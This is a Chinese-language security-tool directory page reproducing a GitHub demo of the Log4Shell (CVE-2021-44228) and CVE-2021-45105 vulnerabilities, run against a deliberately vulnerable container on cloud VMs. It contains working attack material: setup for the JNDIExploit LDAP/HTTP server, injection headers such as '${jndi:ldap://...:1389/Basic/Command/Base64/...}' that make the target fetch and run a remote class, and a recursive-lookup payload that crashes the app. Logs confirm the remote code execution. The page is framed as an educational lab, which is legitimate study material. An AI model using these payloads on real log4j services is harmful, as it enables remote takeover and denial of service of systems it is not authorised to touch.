Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4Shell-CVE-2021-44228-Demo — Log4Shell 与 AWS 演示 | Kitploit
工具/GitHubGitHub/baboopan/log4shell-cve-2021-44228-demo
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育Payload 开发实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
baboopan/log4shell-cve-2021-44228-demo

Log4Shell-CVE-2021-44228-Demo

Log4Shell 与 AWS 演示

查看仓库
2134年前尚未审核
分享

Log4Shell (CVE-2021-44228) 演示

demo-scenarios

环境设置

客户端

  • 任何能够使用 curl 命令行访问 HTTP 服务器的地方

使用了 log4j 的 HTTP 服务器的易受攻击应用

  • Amazon Linux 2 (基于 x86) EC2 实例 / CentOS Azure 虚拟机
root@kitploit:~
$ yum install docker -y
$ systemctl enable docker
$ systemctl start docker
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
  • SSH 控制台输出 spring-web-server

作为恶意 LDAP 服务器的 JNDI 漏洞利用

  • Amazon Linux 2 (基于 x86) EC2 实例
root@kitploit:~
$ yum install java-11-amazon-corretto.x86_64 -y
# Azure 使用 java-1.7.0-openjdk-1.7.0.261-2.6.22.2.el7_8.x86_64
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# 将服务端点指定为元数据中的 EC2 私有 IP
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -s http://169.254.169.254/latest/meta-data/local-ipv4) -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • CentOS Azure 虚拟机
root@kitploit:~
$ wget https://corretto.aws/downloads/latest/amazon-corretto-11-x64-linux-jdk.rpm
$ yum install amazon-corretto-11-x64-linux-jdk.rpm -y
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# 将服务端点指定为元数据中的私有 IP
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -sH Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/?api-version=2021-02-01" | awk -F '[:,"]' '{print $5}') -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • SSH 控制台输出 jndiexploit

攻击流程

正常行为

当客户端使用 X-Api-Version 头正确发送请求时,服务器会返回 Hello World!。否则,客户端会收到 400 HTTP 错误(错误请求)。

  • 客户端
root@kitploit:~
$ curl SERVER_IP:8080 -H 'X-Api-Version: 1.1'
Hello, world!
$ curl SERVER_IP:8080
{"timestamp":"2021-12-22T02:44:43.103+00:00","status":400,"error":"Bad Request","path":"/"}

client-requests-normal

  • 服务器日志
root@kitploit:~
# 正确带有头的请求
2021-12-22 02:44:40.920  INFO 1 --- [nio-8080-exec-3] HelloWorld                               : Received a request for API version 1
It's Hello from System.out.
# 没有正确输入的请求
2021-12-22 02:44:43.102  WARN 1 --- [nio-8080-exec-5] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]

server-requests-normal

注入攻击 / CVE-2021-44228

现在我们发送带有头 'X-Api-Version: ${jndi:ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' 的注入请求,这将触发 CVE-2021-44228 执行 JNDI 查找以访问 ldap,并实现远程代码执行(RCE)。

dG91Y2ggL3RtcC9wd25lZAo=} 是 Linux 命令 touch /tmp/pwned 的 Base64 编码。一旦 RCE 成功,它将在易受攻击的应用中创建一个文件。

你也可以通过将 base64 字符串替换为 https://www.base64encode.org/ 上的内容来更改行为。

  • 客户端
root@kitploit:~
# 发送带有注入的请求
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Hello, world!

client-requests-injection

  • 服务器日志
root@kitploit:~
2021-12-22 03:04:07,042 http-nio-8080-exec-6 WARN Error looking up JNDI resource [ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitxM5KqZop9U cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="'
...
...
# 接收注入并将其重定向到我们在请求中指明的 JNDI 漏洞利用服务器
2021-12-22 03:04:06.567  INFO 1 --- [nio-8080-exec-6] HelloWorld                               : Received a request for API version ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

server-exploit

  • JNDI 漏洞利用
root@kitploit:~
# 从服务器易受攻击应用收到 LDAP 查询
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned
# 将编码后的字符串发送回易受攻击的应用,让应用以 base64 格式执行命令
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://10.0.1.164:8888/ExploitxM5KqZop9U.class
[+] New HTTP Request From /10.0.1.200:33250  /ExploitxM5KqZop9U.class
[+] Receive ClassRequest: ExploitxM5KqZop9U.class
[+] Response Code: 200

jndi-exploit-ldap

  • 在服务器上的易受攻击应用中验证 RCE 结果
root@kitploit:~
# 获取服务器中易受攻击应用的容器 ID
$ docker ps -a
CONTAINER ID   IMAGE            COMMAND                  CREATED             STATUS             PORTS                                       NAMES
a4b14c4adb6c   vulnerable-app   "java -jar /app/spri…"   About an hour ago   Up About an hour   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   vulnerable-app
# 注入前列出 /tmp 文件夹
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x    2 root     root            15 Dec 22 02:34 hsperfdata_root
drwx------    2 root     root             6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------    3 root     root            18 Dec 22 01:34 tomcat.8080.4816494392465116780
# 确认通过注入请求实现了 RCE
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x    2 root     root            15 Dec 22 02:34 hsperfdata_root
-rw-r--r--    1 root     root             0 Dec 22 03:04 pwned # RCE 已实现
drwx------    2 root     root             6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------    3 root     root            18 Dec 22 01:34 tomcat.8080.4816494392465116780

server-app-pwned

注入攻击 / CVE-2021-45105

Log4j2 版本 2.0-alpha1 到 2.16.0(不包括 2.12.3)未能防止自引用查找导致的未受控递归。当日志记录配置使用带有上下文查找 (Context Lookup) 的非默认模式布局 (Pattern Layout) 时,攻击者能够控制线程上下文映射 (Thread Context Map, MDC) 输入数据,可以构造包含递归查找的恶意输入数据,从而导致 StackOverflowError 终止进程。 - 描述来自 CVE-2021-45105, Apache

现在,我们可以使用 StrSubstitutor 类输入 ${${::-${::-$${::-j}}}} 到线程上下文映射,使应用程序因无限递归错误而崩溃。

  • 客户端
root@kitploit:~
# 发送带有注入的请求
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Hello, world!

client-requests-45105

  • 服务器日志
root@kitploit:~
2021-12-22 03:42:38,614 http-nio-8080-exec-2 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-$}}: :
...
...
    at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:748)

server-error-infinite-loop

参考资料

  • christophetd/log4shell-vulnerable-app
  • Mr-xn/JNDIExploit
下载工具